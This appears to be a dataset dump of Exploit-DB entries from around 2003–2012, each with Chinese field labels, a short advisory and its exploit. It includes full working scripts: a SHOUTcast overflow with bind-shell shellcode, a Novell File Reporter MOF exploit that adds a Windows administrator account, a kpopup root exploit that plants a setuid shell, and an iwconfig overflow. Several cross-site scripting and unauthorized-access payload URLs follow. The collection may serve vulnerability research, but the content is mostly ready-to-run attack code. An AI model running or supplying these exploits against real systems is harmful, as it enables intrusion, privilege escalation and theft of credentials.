QLWD/code_shield huggingface dataset:
标题: Nullsoft SHOUTcast 1.9.2 - 'icy-name/icy-url' Memory Corruption (1) EDB-ID: 23328 CVE: 2003-1174 类型: REMOTE 平台: WINDOWS 发布日期: 2003-11-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/8954/info

Nullsoft SHOUTcast Server is prone to a memory corruption vulnerability that may lead to denial of service attacks or code execution. This is due to insufficient bounds checking of server commands supplied by authenticated users, specifically icy-name and icy-url.

This issue was reported in SHOUTcast 1.9.2 on Windows platforms. Other versions and platforms may also be affected.

#test under gentoo linux ,exec it python shoutexp.py 192.168.0.1
#code by airsupply_at_0x557.org
#thx all sst members

import socket,string,base64
import sys
import telnetlib
import time
t_ip=sys.argv[1]
print t_ip
try:
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((t_ip,8001))
except:
    sys.exit(-1)
########send get ip req####### 
s.send('changeme')
s.send('\r\n');
data=s.recv(1024)
print data
nop='\x90'

shellcode ='\x31\xc0'+\
'\x50'+\
'\x40'+\
'\x89\xc3'+\
'\x50'+\
'\x40'+\
'\x50'+\
'\x89\xe1'+\
'\xb0\x66'+\
'\xcd\x80'+\
'\x31\xd2'+\
'\x52'+\
'\x66\x68\x13\xd2'+\
'\x43'+\
'\x66\x53'+\
'\x89\xe1'+\
'\x6a\x10'+\
'\x51'+\
'\x50'+\
'\x89\xe1'+\
'\xb0\x66'+\
'\xcd\x80'+\
'\x40'+\
'\x89\x44\x24\x04'+\
'\x43'+\
'\x43'+\
'\xb0\x66'+\
'\xcd\x80'+\
'\x83\xc4\x0c'+\
'\x52'+\
'\x52'+\
'\x43'+\
'\xb0\x66'+\
'\xcd\x80'+\
'\x93'+\
'\x89\xd1'+\
'\xb0\x3f'+\
'\xcd\x80'+\
'\x41'+\
'\x80\xf9\x03'+\
'\x75\xf6'+\
'\x52'+\
'\x68\x6e\x2f\x73\x68'+\
'\x68\x2f\x2f\x62\x69'+\
'\x89\xe3'+\
'\x52'+\
'\x53'+\
'\x89\xe1'+\
'\xb0\x0b'+\
'\xcd\x80';
eax='\xe3\xd0\x06\x08';
ret='\x50\xd0\x06\x08';
icy_name='icy-name:'+nop*50+shellcode+nop*(141-len(shellcode))+ret+nop*4+eax+nop*105+eax+nop*200;
will_send= 'icy-genre:DoS radio\r\n'+\
           'icy-url:aaa\r\n'+\
           'icy-pub:1\r\n'+\
           'icy-irc:N/A\r\n'+\
           'icy-icq:N/A\r\n'+\
           'icy-aim:N/A\r\n'+\
           'icy-br:160'+\
           '\r\n'
           

s.send(will_send);
print 'send icy-name\n'
s.send(icy_name);
s.close()
time.sleep(1)
try:
    s2=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s2.connect((t_ip,5074))
except:
    print "s2 fuck out\n"
    sys.exit(-1)
s2.send("unset HISTFILE;id;\n");
recvdata=s2.recv(100);
print recvdata
t=telnetlib.Telnet();
t.sock=s2;
t.interact();
sys.exit(-1); URL: https://www.exploit-db.com/exploits/23328
标题: Novell File Reporter (NFR) Agent - XML Parsing Remote Code Execution EDB-ID: 23323 CVE: 2012-4959 2012-4958 2012-4957 类型: REMOTE 平台: WINDOWS 发布日期: 2012-12-12 漏洞利用脚本: # wwww.abysssec.com
# Novell File Reporter Agent XML Parsing Remote Code Execution Vulnerability (0day)
# CVE-2012-4959
# @abysssec
# well just one more of our 0day got published after ~2 year 
# here is info : https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959
# and here is our exploit 

import httplib, md5, sys

def message_MD5(arg):
 v = "SRS" + arg + "SERVER"
 m = md5.new(v)
 return m.hexdigest()

def genMof(command="net user abysssec 123456 /add"):  
 
 vbs = ""
 vbs += "\"Set objShell = CreateObject(\\\"WScript.Shell\\\")\\n\"\n"
 vbs += "\"objShell.Run \\\"cmd.exe /C "
 vbs += command
 vbs += "\\\"\""


 mof = """
 #pragma namespace ("\\\\\\\\.\\\\root\\\\subscription")
 #pragma deleteclass("MyASEventConsumer", nofail)
 #pragma deleteinstance("__EventFilter.Name=\\\"EF\\\"", nofail)
 #pragma deleteinstance("ActiveScriptEventConsumer.Name=\\\"ASEC\\\"", nofail)

 class MyASEventConsumer
 {
  [key]string Name;
 };

 instance of ActiveScriptEventConsumer as $CONSUMER
 {
  CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
  Name = "ASEC";
  ScriptingEngine = "VBScript";    
  ScriptText =
 SCRIPT;
 };

 instance of __EventFilter as $FILTER
 {
  CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
  Name = "EF";
  Query = "SELECT * FROM __InstanceCreationEvent"
   " WHERE TargetInstance.__class = \\"MyASEventConsumer\\"";
  QueryLanguage = "WQL";
 };

 instance of __FilterToConsumerBinding as $BINDING
 {
  CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
  Filter = $FILTER;
  Consumer = $CONSUMER;
 };

 instance of MyASEventConsumer
 {
   Name = "Trigger";
 };
 """.replace('SCRIPT',vbs)

 return mof

def main(argv=None):
 if argv is None:
  argv = sys.argv
 
 if len(argv) != 2:
  print "[!] USAGE : mof \"<command]>\""
  return
 
 msg = "<ROOT><NAME>FSFUI</NAME><UICMD>130</UICMD><TOKEN><FILE>../../../../../../Windows/system32/wbem/mof/command.mof</FILE></TOKEN><![CDATA["
 msg += genMof(argv[1] + "> C:/Windows/System32/info.dat")
 msg += "]]></ROOT>" 
 body = message_MD5(msg).upper() + msg
 headers = {"Content-type": "text/xml"}
 
 conn = httplib.HTTPSConnection("192.168.10.20:3037")   
 conn.request("POST", "/SRS/CMD",body, headers)
 response = conn.getresponse()
 print "\n...Command Executed ..."
 print response.status, response.reason
 
 print response.read()
 
 msg = "<ROOT><NAME>FSFUI</NAME><UICMD>126</UICMD><TOKEN><FILE>../../../../../../WINDOWS/system32/info.dat</FILE></TOKEN></ROOT>"
 body = message_MD5(msg).upper() + msg
 conn.request("POST", "/SRS/CMD",body, headers)
 response = conn.getresponse()
 conn.request("POST", "/SRS/CMD",body, headers)
 response = conn.getresponse()
 print "\n...Getting result ..."
 print response.status, response.reason 
 print response.read()
 
 
 conn.close()


if __name__ == "__main__":
    main() URL: https://www.exploit-db.com/exploits/23323
标题: Tritanium Scripts Tritanium Bulletin Board 1.2.3 - Unauthorized Access EDB-ID: 23319 CVE: 2003-1162 类型: WEBAPPS 平台: PHP 发布日期: 2003-10-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/8944/info

It has been reported that Tritanium Bulletin Board may be prone to an access validation error that may allow a remote attacker to to gain unauthorized access to threads. A remote attacker may be able to access sensitive data by modifying the URL and supplying a value for thread_id, forum_id, and sid paremeters.

Successful exploitation of this issue may allow an attacker to gain access to sensitive information that could be used to launch further attacks against a system.

Tritanium Bulletin Board version 1.2.3 has been reported to be prone to this issue, however other versions may be affected as well.

http://www.example.com/[path]/index.php?faction=reply&thread_id=[ID OF THE THREAD TO READ]&forum_id=[ID OF FORUM]&sid=[your sid] URL: https://www.exploit-db.com/exploits/23319
标题: MLdonkey 2.5-4 - Cross-Site Scripting EDB-ID: 23320 CVE: 2003-1164 类型: REMOTE 平台: MULTIPLE 发布日期: 2003-10-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/8946/info

It has been reported that the Mldonkey web interface is prone to cross-site scripting attacks when reporting errors. The problem occurs due to insufficient sanitization of script code within requests. This could potentially allow an attacker to carry out a variety of attacks on a user.

http://127.0.0.1:4080/<script>...</script> URL: https://www.exploit-db.com/exploits/23320
标题: BEA Tuxedo 6/7/8 and WebLogic Enterprise 4/5 - Input Validation EDB-ID: 23312 CVE: 2003-0621 类型: REMOTE 平台: CGI 发布日期: 2003-10-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/8931/info

A vulnerability has reported to exist in BEA Tuxedo and WebLogic Enterprise due to Tuxedo administration console. The script is reported to accept various initialization arguments such as INIFILE that are not properly sanitized for user-supplied input. This issue may allow an attacker to carry out attacks such as denial of service, file disclosure, and cross-site scripting.

An attacker may be able to determine the existence of a file outside the web server root by supplying passing various path values for INIFILE.

A denial of service condition could be caused in the software by providing a device name such as CON, AUX, COM1, COM2 instead of a valid file name as one of the arguments for INIFILE. This may cause the service to crash or hang.

A cross-site scripting vulnerability has also been reported to exist in the software due to insufficient santization of user-supplied input to INIFILE. This problem presents itself when an invalid file name is supplied as an argument for INIFILE. This vulnerability could be exploited to steal cookie-based credentials. Other attacks are possible as well. 

http://www.example.com/udataobj/webgui/cgi-bin/tuxadm.exe?INIFILE=<script>alert('XSS')</script> URL: https://www.exploit-db.com/exploits/23312
标题: Citrix Metaframe XP - Cross-Site Scripting EDB-ID: 23316 CVE: 2003-1157 类型: REMOTE 平台: WINDOWS 发布日期: 2003-10-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/8939/info

Citrix Metaframe XP is prone to cross-site scripting attacks when returning error messages to users. The error message is generated when invalid authentication credentials are transmitted to the log-in page. Exploitation of this issue could potentially result in the theft of cookie-based authentication credentials, or other attacks.

https://www.example.com/citrix/metaframexp/default/login.asp?NFuse_LogoutId=On&NFuse_
MessageType=Error&NFuse_Message=<SCRIPT>alert("Vulnerable to XSS")</SCRIPT> URL: https://www.exploit-db.com/exploits/23316
标题: E107 - 'Chatbox.php' Denial of Service EDB-ID: 23311 CVE: 2003-1191 类型: DOS 平台: PHP 发布日期: 2003-10-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/8930/info

It has been reported that E107 may be prone to a denial of service vulnerability. The issue has been reported to exist due to improper handling of user-supplied data in the form of HTML or script code to the 'Name:' field of Chatbox.php script. This issue may cause the software to behave in an unstable manner leading to a crash.

Successful exploitation of this issue may allow an attacker to cause the software to crash or hang.

It should be noted that although this vulnerability has been reported to affect E107 versions 0.545 and 0.603, other versions might also be affected. 

In the Name inputbox of the Chatbox type:

<script = javascript> alert('DoS') <script> URL: https://www.exploit-db.com/exploits/23311
标题: BEA WebLogic 6/7/8 - InteractiveQuery.jsp Cross-Site Scripting EDB-ID: 23315 CVE: 2003-0624 类型: WEBAPPS 平台: JSP 发布日期: 2003-10-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/8938/info

It has been reported that BEA WebLogic InteractiveQuery.jsp example application is prone to a cross-site scripting vulnerability. The issue is reported to exist due insufficient sanitization of user-supplied data in an initialization argument called 'person'. It has been reported that if an invalid value is passed to this argument, the software returns the value back to the user in a results page without proper sanitization. The problem may allow a remote attacker to execute HTML or script code in the browser of a user following a malicious link created by an attacker.

Successful exploitation of this attack may allow an attacker to steal cookie-based authentication information that could be used to launch further attacks.

BEA WebLogic 8.1 and prior are reported to be prone to this issue, however other versions may be affected as well.

http://www.example.com/examplesWebApp/InteractiveQuery.jsp?person=<script>alert('XSS')</script> URL: https://www.exploit-db.com/exploits/23315
标题: Seyeon FlexWATCH Network Video Server 2.2 - Unauthorized Administrative Access EDB-ID: 23317 CVE: 2003-1160 类型: REMOTE 平台: HARDWARE 发布日期: 2003-10-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/8942/info

It has been reported that FlexWATCH Network Video Server may be prone to an access validation error that may allow a remote attacker to gain administrative access to the system. The problem is reported to present itself when an attacker attempts to access the administrative interface using a specially crafted URL containing two slash '/' characters.

Successful exploitation of this issue may allow a remote attacker to gain administrator level privileges to the server. This may lead to user accounts and system configuration modifications.

FlexWATCH Network Video Server Model 132 has been reported to be prone to this issue, however other versions may be affected as well.

http://www.example.com//admin/aindex.htm URL: https://www.exploit-db.com/exploits/23317
标题: Centrinity FirstClass HTTP Server 7.1 - Directory Disclosure EDB-ID: 23309 CVE: 2003-1173 类型: REMOTE 平台: MULTIPLE 发布日期: 2003-10-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/8920/info

It has been reported that Centrinity FirstClass HTTP server may be prone to an information disclosure vulnerability that may allow a remote attacker to disclose listings for server root and user web directories on a vulnerable system. This issue may be exploited by appending "/Search" to the URL of the server which directs the user to a file search form. The attacker may then be able to access information about the directories by selecting all options in the form and leaving the filename field blank.

** Conflicting reports have been submitted stating that universal access to server root and user web directories is granted by default in order to accommodate ease of use. No sensitive information is placed in these directories by default. If needed, users may protect private portions of the web site by employing FirstClass' ACL protected containers called conferences. It has also been reported that the search utility may be easily disabled by accessing "Unauthenticated Users" privilege group located in the "Groups" folder.

Successful exploitation of this issue result in disclosure of sensitive information which may be useful in further attacks against the system.

This problem has been reported to exist in FirstClass 7.1. It is possible that other versions are affected as well. 

http://www.example.com/Search
http://www.example.com/~Account%20Name/Search URL: https://www.exploit-db.com/exploits/23309
标题: kpopup 0.9.x - Privileged Command Execution EDB-ID: 23308 CVE: 2003-1167 类型: LOCAL 平台: LINUX 发布日期: 2003-10-28 漏洞利用脚本: // source: https://www.securityfocus.com/bid/8915/info

It has been alleged that it is possible for local attackers to gain root privileges through kpopup, which is is installed setuid root by default. According to the report, kpopup uses the system(3) C-library function insecurely to run other utilities on the system. In at least one instance, system(3) is called to invoke the binary killall(1) in a manner relying on the PATH environment variable. As the environment can be set by the unprivileged user when kpopup is executed, an arbitrary executable with the filename killall(1) can be executed. Many modern shells anticipate insecure use of this function by setuid/setgid processes and drop effective privileges if they do not match the real userid/gid of the process. It may be the case that kpopup first sets its real uid and gid to 0 before calling system, making this vulnerability exploitable. This has not been confirmed by Symantec. 

/*Local root exploit for kpopup
 *by b0f www.b0f.net
 */
#include <stdio.h>
int main()
{
setenv("PATH=/tmp:/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:\
/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin:");
FILE *fd;
fd = fopen("/tmp/killall", "w");{
fprintf(fd, "#!/bin/sh\n");
fprintf(fd, "cd /tmp\n");
fprintf(fd, "/bin/cat > shell.c << EOF\n");
fprintf(fd, "#include <stdio.h>\n");
fprintf(fd, "int main()\n");
fprintf(fd, "{\n");
fprintf(fd, "setuid(0);\n");
fprintf(fd, "setgid(0);\n");
fprintf(fd, "execl(\"/bin/bash\", \"-bash\", NULL);\n");
fprintf(fd, "return 0;\n");
fprintf(fd, "}\n");
fprintf(fd, "EOF\n");
fprintf(fd, "/usr/bin/gcc /tmp/shell.c -o /tmp/shell\n");
fprintf(fd, "/bin/chown root.root /tmp/shell\n");
fprintf(fd, "/bin/chmod 6711 /tmp/shell\n");
fprintf(fd, "echo NOW HERE IS YOUR ROOT SHELL\n");
fprintf(fd, "/tmp/shell\n");
fclose(fd);
system("chmod +x /tmp/killall");
system("/usr/local/kde/bin/kpopup root shell");
return 0;
}
} URL: https://www.exploit-db.com/exploits/23308
标题: Ledscripts LedForums - Multiple HTML Injections EDB-ID: 23313 CVE: 2003-1197 类型: WEBAPPS 平台: PHP 发布日期: 2003-10-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/8934/info

It has been reported that LedForums is prone to a HTML injection vulnerability that may allow an attacker to execute HTML code in a user's browser. The issue is reported to be present in the 'top_message' and 'topic' fields. This problem is due to insufficient sanitization of user-supplied input.

Successful exploitation of this vulnerability may allow an attacker to steal cookie-based authentication credentials. Other attacks are also possible.

LedForums Beta 1 has been reported to be vulnerable to this issue.

http://www.example.com/~path/index.php?top_message=<script>alert(document.cookie)</script>
http://www.example.com/~path/index.php?top_message=<h1>OWNED?%20*g*</h1>

<script>window.location='http://www.example.org'</script> URL: https://www.exploit-db.com/exploits/23313
标题: Fastream NetFile 6.0.3.588 - Error Message Cross-Site Scripting EDB-ID: 23307 CVE: 2003-1151 类型: REMOTE 平台: MULTIPLE 发布日期: 2003-10-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/8908/info

It has been reported that a cross-site scripting vulnerability may exist in NetFile that may allow remote attackers to execute HTML or script code in a user's browser. The issue is reported to occur due to a "404 Not Found" error message returned to the user due to a request for a URL that does not exist. The error message reportedly contains the bad URL which is not properly sanitized therefore allowing an attacker to a construct a malicious link containing HTML or script code that may be rendered in a user's browser.

Successful exploitation of this attack may allow an attacker to steal cookie-based authentication information that could be used to launch further attacks.

NetFile FTP/Webserver Version 6.0.3.588 has been reported to be prone to this issue, however other versions may be affected as well. 

http://www.example.com/<script>alert("bang")</script> URL: https://www.exploit-db.com/exploits/23307
标题: thttpd 2.2x - 'defang' Remote Buffer Overflow (PoC) EDB-ID: 23305 CVE: 2003-0899 类型: DOS 平台: LINUX 发布日期: 2003-10-27 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/8906/info

A vulnerability has been reported in thttpd that may allow a remote attacker to execute arbitrary code on vulnerable host. The issue is reported to exist due to a lack of bounds checking by software, leading to a buffer overflow condition. The problem is reported to exist in the defang() function in libhttpd.c.

This issue may allow an attacker to gain unauthorized access to a vulnerable host. Successful exploitation of this issue may allow an attacker to execute arbitrary code in the context of the web server in order to gain unauthorized access to a vulnerable system.

thttpd versions 2.21 to 2.23b1 have been reported to be prone to this issue, however other versions may be affected as well. 
*/

static void
defang( char* str, char* dfstr, int dfsize )
{
    char* cp1;
    char* cp2;

    for ( cp1 = str, cp2 = dfstr;
   *cp1 != '\0' && cp2 - dfstr < dfsize - 1;
   ++cp1, ++cp2 )
     {
     switch ( *cp1 )
         {
         case '<':
         *cp2++ = '&';
         *cp2++ = 'l';
         *cp2++ = 't';
         *cp2 = ';';
         break;
         case '>':
         *cp2++ = '&';
         *cp2++ = 'g';
         *cp2++ = 't';
         *cp2 = ';';
         break;
         default:
         *cp2 = *cp1;
         break;
         }
     }
    *cp2 = '\0';
} URL: https://www.exploit-db.com/exploits/23305
标题: RedHat Apache 2.0.40 - Directory Index Default Configuration Error EDB-ID: 23296 CVE: 2003-1138 类型: REMOTE 平台: LINUX 发布日期: 2003-10-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/8898/info

The Red Hat Apache configuration may allow an attacker to view directory listings. The problem is reported to present itself when an attacker issues an HTTP GET request to a vulnerable server containing '//' characters, evading the rule desgined to prevent Apache from displaying directory listings with a request for '/'. The server is reported to disclose directory listings even when autoindex for the root directory has been disabled and a default welcome page is supposed to be displayed.

Successful exploits will disclose sensitive information that may be useful in further attacks against the system.

This problem has been reported to exist in Apache 2.0.40 shipped with Red Hat Linux 9.0. Other versions may be affected as well. 

http://ip_address:port// URL: https://www.exploit-db.com/exploits/23296
标题: Symantec Norton Internet Security 2003 6.0.4.34 - Error Message Cross-Site Scripting EDB-ID: 23304 CVE: 2003-1149 类型: REMOTE 平台: CGI 发布日期: 2003-10-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/8904/info

It has been reported that Symantec Norton Internet Security is prone to a cross-site scripting vulnerability. The issue is reported to exist when the software blocks a restricted website and an error message containing the requested URL is returned to the user. This URL is not sanitized for malicious input therefore allowing a remote attacker to execute HTML or script code in the browser of a user running the vulnerable software. The script code would run in the context of the blocked site.

Successful exploitation of this attack may allow an attacker to steal cookie-based authentication information that could be used to launch further attacks.

Norton Internet Security 2003 v6.0.4.34 has been reported to be prone to this issue, however other versions may be affected as well.

http://www.example.com/page.cgi?<SCRIPT>alert(document.domain)</SCRIPT> URL: https://www.exploit-db.com/exploits/23304
标题: Wireless Tools 26 (IWConfig) - ARGV Local Command Line Buffer Overflow (3) EDB-ID: 23301 CVE: 2003-0947 类型: LOCAL 平台: LINUX 发布日期: 2003-10-27 漏洞利用脚本: // source: https://www.securityfocus.com/bid/8901/info
  
A problem has been identified in the iwconfig program when handling strings on the commandline. Because of this, a local attacker may be able to gain elevated privileges. 

/*
 * (C) 2003 NrAziz
 * polygrithm_at_hotmail[DOT]com
 */

/*
 * Greetz to Mixter,gorny,rave..
 */

/*
 * Description:
 *              iwconfig configures a wireless network interface and is similar to ifconfig
 *  except that iwconfig configures wireless interfaces.
 * Vulnerability:
 *               Instead of giving the interface parameter when a large string is given
 * the buffer overflows :-)...
 */

/*
 * Yet another Proof Of Concept Xploit for 'iwconfig'
 */


#include <stdio.h>
#include <stdlib.h>

#define BUFF_SIZE 98
#define RET 0xbffffc3f

char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";

int main(int argc,char **argv)
{

  int i;
  char *buff=(char *)malloc(sizeof(char)*BUFF_SIZE);

  for(i=0;i<BUFF_SIZE;i+=4)
    *(long *)&buff[i]=RET;

  for(i=0;i<BUFF_SIZE-strlen(shellcode)-12;i++)
    *(buff+i)=0x90;

  memcpy(buff+i,shellcode,strlen(shellcode));

  execl("/sbin/iwconfig","iwconfig",buff,(char *)NULL);

  return 0;
} URL: https://www.exploit-db.com/exploits/23301
标题: Macromedia Flash Player 6.0.x - Flash Cookie Predictable File Location EDB-ID: 23298 CVE: 2003-1017 类型: REMOTE 平台: WINDOWS 发布日期: 2003-10-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/8900/info

Macromedia Flash Player is reported to store Flash cookies (.sol files) in a predictable location on client systems. Other attacks are possible given the ability to store content on a system in a predictable location, such as referencing the content via a file:// URI. This is compounded by the fact that an attacker could include HTML and script code in the cookie, which may be interpreted by Internet Explorer or possibly other browsers. In the example of Internet Explorer, such content would be interpreted in the context of the Local Zone. Successful exploitation would still require the attacker to guess the local username of the victim.

This issue is reported to affect versions of the player for Microsoft Windows operating systems. Other versions may also be affected. Macromedia Director MX is similarly affected.

This issue affects versions of the player prior to 7.0.19.0. 

ftp://%@/../../../../Application Data/Macromedia/Flash
Player/YOURDOMAINNAME.TLD\YOURDOMAINNAME.sol URL: https://www.exploit-db.com/exploits/23298